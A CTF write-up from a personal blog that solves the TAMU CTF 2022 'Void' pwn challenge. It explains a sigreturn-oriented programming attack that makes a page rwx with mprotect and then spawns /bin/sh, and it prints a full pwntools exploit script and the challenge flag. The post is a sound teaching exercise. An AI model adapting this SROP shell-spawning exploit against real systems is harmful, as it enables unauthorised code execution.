Aynakeya's Blog

Kill My Emotion

[Pwn] Void [Tamu CTF 2022]

0x0 Introduction

Author: sky

Can't exploit it if there isn't anything to exploit, right? NX, no libc, what else even can you do?!

SNI: void

files: void, void.c

0x1 Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x2 Vulnerability

This is a SROP challenge.

In order to call syscall(59,'/bin/sh',0,0), we need find a writable memory page to write our string at. But the binary itself does not have a writable region except stack.

1
2
3
4
5
6
0x0000000000400000 - 0x0000000000401000 - usr     4K s r-- segment.ehdr
0x0000000000401000 - 0x0000000000402000 * usr 4K s r-x map.void.r_x
0x0000000000402000 - 0x0000000000403000 - usr 4K s r-- map.void.r__
0x00007ffc84ce8000 - 0x00007ffc84d09000 - usr 132K s rw- [stack] [stack] ; map._stack_.rw_
0x00007ffc84d13000 - 0x00007ffc84d17000 - usr 16K s r-- [vvar] [vvar] ; map._vvar_.r__
0x00007ffc84d17000 - 0x00007ffc84d18000 - usr 4K s r-x [vdso] [vdso] ; map._vdso_.r_x

However, their is no way we can output the stack address using write, since rdi never set to 1 (stdout).

Therefore, we need to use mprotect to create an rwx memory page so that we can write stack or put shellcode on.

To do that, we also need to set rsp to a address on the memory space which point back to the instructions. So when ret is called, it will go back to the executable instruction.

luckily, in 0x004020b8, there is address that point back to main. So we can happily point rsp to there and make whole 0x00402000-0x00403000 page writable.

1
2
3
0x004020b8 0x0000000000401000   ..@..... 4198400 /home/aynakeya/ctf/tamuctf2022/void/void .text main,section..text,segment.LOAD1,.text,main,map._home_aynakeya_ctf_tamuctf2022_void_void.r_x main program R X 'mov rax, 0' 'void'
0x004020c0 ..[ null bytes ].. 00000000
0x004020c8 0x0003000300000000 ........

After that, we can continue do another sigreturn there and execute execve("/bin/sh") to get shell.

0x3 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *


class BinaryInfo:
exe = "void"
libc = ""

host = "rua.host.goes.here"
port = 8000


# Set up pwntools for the correct architecture
exe = context.binary = ELF(BinaryInfo.exe)
exe_rop = ROP(exe)
if BinaryInfo.libc != "":
libc = ELF(BinaryInfo.libc)
libc_rop = ROP(libc)
else:
libc = None
libc_rop = None


# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or BinaryInfo.host
port = int(args.PORT or BinaryInfo.port)


def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = remote("tamuctf.com", 443, ssl=True, sni="void")
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io


def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)


# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())


def log_print(*msg):
log.info(" ".join(map(str,msg)))


def int2byte(x: int):
return x.to_bytes(exe.bytes, "little")


def wait_for_debugger(io):
if args.LOCAL and input("debugger?") == "y\n":
pid = util.proc.pidof(io)[0]
log_print("The pid is: " + str(pid))
util.proc.wait_for_debugger(pid)
log_print("press enter to continue")

ret_addr = exe_rop.find_gadget(['ret'])[0]


io = start()
wait_for_debugger(io)

# rax syscall x64
# 0 read
# 1 write
# 15 rt_sigreturn
# 59 execve

main_addr = exe.sym["main"]
syscall_ret_addr = 0x00401018
fake_rwx_stack_addr = 0x004020b8


mprotect_frame = SigreturnFrame()
mprotect_frame.rip = syscall_ret_addr # return to main and do other thing
mprotect_frame.rsp = fake_rwx_stack_addr
mprotect_frame.rax = constants.SYS_mprotect
mprotect_frame.rdi = 0x00402000
mprotect_frame.rsi = 0x1000
mprotect_frame.rdx = 7 # rwx

do_mprotect = flat({
0:[
main_addr,
syscall_ret_addr,
bytes(mprotect_frame)
]
})

input("send mprotect payload")
io.send(do_mprotect) # set up sigreturn frame
input("trigger sigreturn and mprotect")
io.send(do_mprotect[8:8+15]) # read 15 bytes, trigger sigreturn


execve_bin_sh_frame = SigreturnFrame()
execve_bin_sh_frame.rip = syscall_ret_addr # return to main and do other thing
execve_bin_sh_frame.rsp = fake_rwx_stack_addr #
execve_bin_sh_frame.rax = constants.SYS_execve
execve_bin_sh_frame.rdi = fake_rwx_stack_addr +8+ len(flat({0:[main_addr,syscall_ret_addr,bytes(execve_bin_sh_frame)]}))
execve_bin_sh_frame.rsi = 0
execve_bin_sh_frame.rdx = 0

do_execve_bin_sh = flat({
0:[
main_addr,
syscall_ret_addr,
bytes(execve_bin_sh_frame),
b"/bin/sh\x00",
]
})


input("send execve bin/sh payload")
io.send(do_execve_bin_sh) # set up sigreturn frame
input("trigger sigreturn and mprotect")
io.send(do_execve_bin_sh[8:8+15]) # read 15 bytes, trigger sigreturn

io.interactive()

0x4 Flag

gigem{1_6u355_7h475_h0w_w3_3xpl017_17}

0%